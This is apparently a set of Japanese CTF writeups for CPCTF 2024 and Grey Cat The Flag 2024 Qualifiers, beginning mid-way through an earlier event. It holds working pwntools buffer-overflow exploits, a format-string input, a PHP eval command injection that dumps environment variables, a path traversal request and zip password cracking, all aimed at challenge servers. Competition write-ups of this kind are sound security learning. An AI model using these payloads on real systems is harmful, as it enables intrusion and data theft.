you must love mister beast too!!! here's your flag: CIT{mist4_b34st}
CIT{mist4_b34st}

Very Based (Crypto)

$ echo SU5FVkk2WlhHSlJXT1MyTUdORFZFSkJFTEJSRzRLVDU= | base64 -d
INEVI6ZXGJRWOS2MGNDVEJBELBRG4KT5

$ echo INEVI6ZXGJRWOS2MGNDVEJBELBRG4KT5 | base32 -d            
CIT{72cgKL3GR$$Xbn*}
CIT{72cgKL3GR$$Xbn*}

Forgot My Password (Crypto)

CrackStationでクラックする。

verysecure
CIT{verysecure}

Chosen One (Crypto)

$ ./chosenone 
Enter string: 12345678
YW!)4:y2
$ ./chosenone 
Enter string: 987654321
M2y:4)!WY

おそらく換字式暗号になっている。

$ ./chosenone 
Enter string: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
nKpxId]$C/c0eXHLYW!)4:y2MJS'Q^?;wRoEm+}5TU&<Nbh9F,#ta%1[B.ZOgsz`\_luP"f{Aqi3@V>kv8DG*(=6jr7-|~

つまり平文と暗号文の対応は以下のようになっている。

平文 :!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
暗号文:nKpxId]$C/c0eXHLYW!)4:y2MJS'Q^?;wRoEm+}5TU&<Nbh9F,#ta%1[B.ZOgsz`\_luP"f{Aqi3@V>kv8DG*(=6jr7-|~

以下の暗号文に対応表を見て、復号する。

暗号文:oTt74i!21/0;xLbk_Z3yPNdp|
平文 :CIT{5k38W*,@$0Npb[l7eM&#}
CIT{5k38W*,@$0Npb[l7eM&#}

CPCTF 2024 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
この大会は個人戦。結果は1258点で155チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

netcat (Shell, NEWBIE)

$ nc shell-netcat.web.cpctf.space 30010     
CPCTF{nc_means_netcat}
CPCTF{nc_means_netcat}

veeeeeeery long text (Shell, EASY)

$ ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011
The authenticity of host '[veeeeeeery-long-text.web.cpctf.space]:30011 ([160.251.173.212]:30011)' can't be established.
ED25519 key fingerprint is SHA256:Yvdru5SCX5nmOaDr1cJTqK8rjP6vLZfEaEtkRncV+Uc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[veeeeeeery-long-text.web.cpctf.space]:30011' (ED25519) to the list of known hosts.
user@veeeeeeery-long-text.web.cpctf.space's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 20 13:52:44 2024 from 106.154.142.142
$ ls
flag.txt
$ cat flag.txt | grep CPCTF
CPCTF{p1pe_15_u5efu1}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
CPCTF{p1pe_15_u5efu1}

About half (PPC)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
飴が全部で A+B 個あって、Aliceに A 個、Bobに B 個分けました。
AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 2 倍より大きいとき、分け方に文句を言います。
この分け方にAliceもBobも文句を言わないかどうか判定をしてください。

制約
・入力はすべて整数
・1≤A,B≤500

入力
入力は以下の形式で標準入力から与えられる。

A B

出力
AliceもBobも文句を言わないならばYes、AliceとBobのどちらかでも文句を言うならばNoを出力してください。

以下のプログラムで、通った。

a, b = map(int, input().split())
if a > b * 2:
    print('No')
elif b > a * 2:
    print('No')
else:
    print('Yes')
CPCTF{n07_h41f}

Compound Word (PPC, NEWBIE)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
N 個の文字列 S1, S2 , ⋯,SN が与えられる。
これらの文字列のうち、異なる二つの文字列 Si, Sj を選び、Si Sj の順につなげた文字列を T をします。
この時、T としてあり得る文字列は何通りあるか求めてください。

制約
・N は整数
・2≤N≤50
・Si は英小文字からなる文字列
・1≤∣Si∣≤100
・Si ≠ Sj (i ≠ j)
・∑ | Si | ≤ 300

入力
入力は以下の形式で標準入力から与えられる。

N
S1 
⋮
SN
​
出力
答えを出力せよ。

以下のプログラムで、通った。

import itertools

N = int(input())
words = []
for _ in range(N):
    word = input()
    words.append(word)

str_list = []
for c in itertools.permutations(words, 2):
    s = ''.join(c)
    str_list.append(s)

ans = len(set(str_list))
print(ans)
CPCTF{Set_is_Useful_ki70v9354v7onymw}

mokomoko(OSINT, NEWBIE)

画像検索すると、以下のぺージが見つかる。

https://weathernews.jp/s/topics/201810/180115/

ひたち海浜公園の電話番号は029-265-9001。

CPCTF{0292659001}

Attack! Attack! Win! (Pwn, NEWBIE)

$ nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x55eba06a1070
Heal       : 0x55eba06a1078
HocusPocus : 0x55eba06a1080
win        : 0x55eba06a1058

このメモリの状況から、1がAttack、2がHeal、3がHocusPocusで、Atackより3小さい数字である-2を指定すればwinが実行されることがわかる。

YourHP:50
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

-2

You got the flag!
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}
YourHP:0
enemyHp:100

You lose...
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}

CPCT...... (Pwn, EASY)

FSBを使い、5文字以上の長さを取るようにする。

$ nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%64x
Thank you!
Your input:                                                        c4fd6a80
Length: 64
This is your reward!
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}

The sky's the limit (Pwn, EASY)

BOFでwin関数をコールすればよい。ただし、strlenで長さのチェックがあるので、途中"\x00"を入れ、入力文字列の長さを偽装する。

$ ROPgadget --binary chall | grep ": ret" 
0x000000000040101a : ret
from pwn import *

if len(sys.argv) == 1:
    p = remote('the_skys_the_limit.web.cpctf.space', 30007)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 15
payload += b'\x00' * (24 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to the_skys_the_limit.web.cpctf.space on port 30007: Done
[*] '/media/sf_Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x89\x12@\x00\x00\x00\x00\x00'
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}Segmentation fault (core dumped)
[*] Closed connection to the_skys_the_limit.web.cpctf.space port 30007
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}

peeping (Binary, NEWBIE)

$ strings chall | grep CPCTF    
CPCTF{b3_4_cLa1rv0yANt}
CPCTF{b3_4_cLa1rv0yANt}

Just reversing? (Binary, EASY)

flagの各インデックスのASCIIコード(chr)に対して以下のように暗号化している。

flag_enc[strlen(flag) - i - 1] = chr / 16 + chr % 16 * 16;

逆算し、復号する。

#!/usr/bin/env python3
with open('flag_enc.txt', 'rb') as f:
    enc = f.read()

flag = ''
for i in range(len(enc)):
    c = enc[len(enc) - i - 1]
    flag += chr((c % 16) * 16 + (c // 16))
print(flag)
CPCTF{l17Er4llY_r3vErs1nG}

Number Guesser (Binary, EASY)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Guess the number!");
  __isoc99_scanf(&DAT_00102016,&local_1a);
  if (((((char)local_1a == '1') && (local_1a._1_1_ == '7')) && (local_1a._2_1_ == '7')) &&
     (((local_1a._3_1_ == '0' && (local_1a._4_1_ == '4')) && (local_1a._5_1_ == '\0')))) {
    printFlag(&local_1a);
  }
  else {
    puts("Wrong...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

番号は17704を指定すればよい。

$ ./chall    
Guess the number!
17704
CPCTF{l4Ck3Y_NuMb3R!}
CPCTF{l4Ck3Y_NuMb3R!}

Typing game (Web, NEWBIE)

タイピングを10秒以内に行えば、フラグが表示されるようだ。
https://typing-game.web.cpctf.space/main.jsを見ると、以下のように書いてあった。

document.getElementById("flag").textContent = "CPCTF{y0u_4r3_4_typ1ng_m45t3r}";
CPCTF{y0u_4r3_4_typ1ng_m45t3r}

Let's buy some array (Web, EASY)

evalを使って結果を表示しているので、コマンドインジェクションを行う。

$ curl https://lets-buy-some-array.web.cpctf.space/purchase.php -d 'quantity1=system("env");1&quantity2=1&quantity3=1'
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>system("env");1</td>
                    <td>APACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}</td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td>1</td>
                    <td>2000</td>

                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td>1</td>
                    <td>1500</td>
                </tr>
            </table>
            <p>合計金額はAPACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p>
        </form>
    </body>
</html>

環境変数のFLAGにフラグが設定されていた。

CPCTF{3x3c_Func710n_1s_d4ng3r0u5}

Read Novels (Web)

パストラバーサルでflagファイルを読み取る。

$ curl https://read-novels.web.cpctf.space/novel?name=../flag                                                         
<!DOCTYPE html>
<html>
  <head>
    <title>../flag</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>../flag</h1>
    CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
  </body>
</html>
CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}

white has much information (Forensics, EASY)

Whitespace言語。https://www.dcode.fr/whitespace-languageで読み取る。

CPCTF{C4n_y0u_533_7h15?}

Substitution (Crypto, NEWBIE)

換字式暗号と推測し、quipqiupで復号する。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{hello_crypto_world}
CPCTF{hello_crypto_world}

RSA Trial (Crypto, EASY)

hint = p ** 3 + q ** 3
     = (p + q) ** 3 - 3 * p * q * (p + q)
     = (p + q) ** 3 - 3 * n * (p + q)

p + q = xとすると、xの3次方程式になり、p + qを求めることができる。
phiは以下のように計算し、求めることができる。

phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
    = n - (p + q) + 1

phiがわかれば、dを算出でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('output.py', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])
hint = int(params[3].split(' ')[-1])

x = sympy.Symbol('x')
eq = x ** 3 - 3 * n * x - hint
xs = sympy.solve(eq)
for x in xs:
    if x.is_Integer:
        x = int(x)
        break

phi = n - x + 1
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
CPCTF{Equ47i0n5_4r3_v3ry_h31pfu1}

Grey Cat The Flag 2024 Qualifiers Writeup

この大会は2024/4/20 13:00(JST)~2024/4/21 13:00(JST)に開催されました。
今回もチームで参戦。結果は600点で407チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

grey{w3lc0m3_to_gctf2024_enjoy_your_stay!}

Cashhat The Ripper (MISC)

zipにパスワードがかかっているので、クラックする。

$ zip2john challenge.zip > zip.hash
ver 2.0 efh 5455 efh 7875 challenge.zip/flag.txt PKZIP Encr: TS_chk, cmplen=123, decmplen=117, crc=69101057 ts=6604 cs=6604 type=8
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt                  
Warning! john.conf section [list.rules:replaceletterscaps] is multiple declared.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123mango         (challenge.zip/flag.txt)     
1g 0:00:00:00 DONE (2024-04-20 15:28) 2.439g/s 5794Kp/s 5794Kc/s 5794KC/s 12hyre..123aniyah
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

このパスワードで解凍する。

$ unzip challenge.zip
Archive:  challenge.zip
[challenge.zip] flag.txt password: 
  inflating: flag.txt                
$ cat flag.txt         
Congratulations on cracking the password-protected zip file! Here is your flag:
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}
flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}

All About Timing (MISC)

UNIXTIMEの整数値がseedになっていることがわかっているので、乱数の値を予測できる。
しかし時間が少しずれているようなので、ずれている時間を考慮して予測する。

#!/usr/bin/env python3
import socket
import time
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time())
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

for diff in range(-10, 0):
    tm = cur + diff
    random.seed(tm)
    x = random.randint(1000000000000000, 10000000000000000-1)
    if x == n:
        print(diff)
        break

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs2.nusgreyhats.org', 31111))

cur = int(time.time()) + diff
random.seed(cur)
x = random.randint(1000000000000000, 10000000000000000-1)

data = recvuntil(s, b':')
print(data + str(x))
s.sendall(str(x).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Guess the number I'm thinking of? It's all about the timing
Your guess:1980674828191200
Wrong answer! The number I was thinking of was 7740404356175268
-2
Guess the number I'm thinking of? It's all about the timing
Your guess:7740404356175268
grey{t1m3_i5_a_s0c1al_coNstRucT}
grey{t1m3_i5_a_s0c1al_coNstRucT}

Grey Divers (MISC)

いろいろ調べたところゲームの各戦略支援のコマンドが関係していると推測できる。
以下のページで調べたコマンドを整理する。

https://helldivers.fandom.com/wiki/Eagle_500kg_Bomb
https://helldivers.fandom.com/wiki/Stratagem_Codes_(Helldivers_2)
1.Eagle 500 Kg Bomb:上右下下下
2.GL-21 Grenade Launcher:下左上左下
3.MD-I4 Incendiary Mines:下左左下
4.Orbital Gas Strike:右右下右
5.Orbital Airburst Strike:右右右
6.Eagle Rearm:上上左上右
7.Eagle 110MM Rocket Pods:上右上左

Homeから上のコマンドの通り文字をたどる。

GREY{i3mm_e1w3st_2_n3oU10o3E!}

フラグの形式はgrey{***}であるので、それに合わせる。

grey{i3mm_e1w3st_2_n3oU10o3E!}

Baby Goods (PWN)

buildpram関数内でBOFでsub_15210123関数をコールできれば良い。

$ gdb -q ./babygoods                                                                                                  
Reading symbols from ./babygoods...
(No debugging symbols found in ./babygoods)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/babygoods 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: Build new pram
2: Exit
Input: 1

Choose the size of the pram (1-5): 5

Your pram has been created! Give it a name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

New pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdec8 --> 0x7fffffffe23e ("/media/sf_Shared/babygoods")
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffbc20 ("\nNew pram AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL of size 5 has been created!\n")
RDI: 0x7fffffffbb00 --> 0x7ffff7e19e70 (<__funlockfile>:        mov    rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x401328 (<buildpram+206>: ret)
R8 : 0x0 
R9 : 0x73 ('s')
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffded8 --> 0x7fffffffe259 ("CLUTTER_IM_MODULE=xim")
R14: 0x403e18 --> 0x401200 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40131d <buildpram+195>:    call   0x4010e0 <printf@plt>
   0x401322 <buildpram+200>:    mov    eax,0x0
   0x401327 <buildpram+205>:    leave
=> 0x401328 <buildpram+206>:    ret
   0x401329 <exitshop>: endbr64
   0x40132d <exitshop+4>:       push   rbp
   0x40132e <exitshop+5>:       mov    rbp,rsp
   0x401331 <exitshop+8>:       lea    rax,[rip+0xd70]        # 0x4020a8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdd80 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdd88 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffdd90 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffdda8 ("AAKAAgAA6AAL")
0056| 0x7fffffffddb0 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401328 in buildpram ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary babygoods | grep ": ret" 
0x000000000040101a : ret
0x0000000000401490 : ret 0x20be
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.nusgreyhats.org', 32345)
else:
    p = process('./babygoods')

elf = ELF('./babygoods')

ret_addr = 0x40101a
sub_addr = elf.symbols['sub_15210123']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(sub_addr)

name = 'hoge'
size = '5'
data = p.recvuntil(b': ').decode()
print(data + name)
p.sendline(name.encode())
data = p.recvuntil(b': ').decode()
print(data + '1')
p.sendline(b'1')
data = p.recvuntil(b': ').decode()
print(data + size)
p.sendline(size.encode())
data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to challs.nusgreyhats.org on port 32345: Done
[*] '/media/sf_Shared/babygoods'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter your name: hoge

Hello hoge!
Welcome to babygoods, where we provide the best custom baby goods!
What would you like to do today?
1: 1
Build new pram
2: 5
Exit
Input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

Choose the size of the pram (1-5): 
Your pram has been created! Give it a name: 
New pram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@ of size 5 has been created!
$ ls
flag.txt
run
$ cat flag.txt
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

The REAL GreyCTF Survey (FEEDBACK)

アンケートに答えたら、フラグが表示された。

grey{1_h0p3_y0u_3nj0y3d!!!!!!}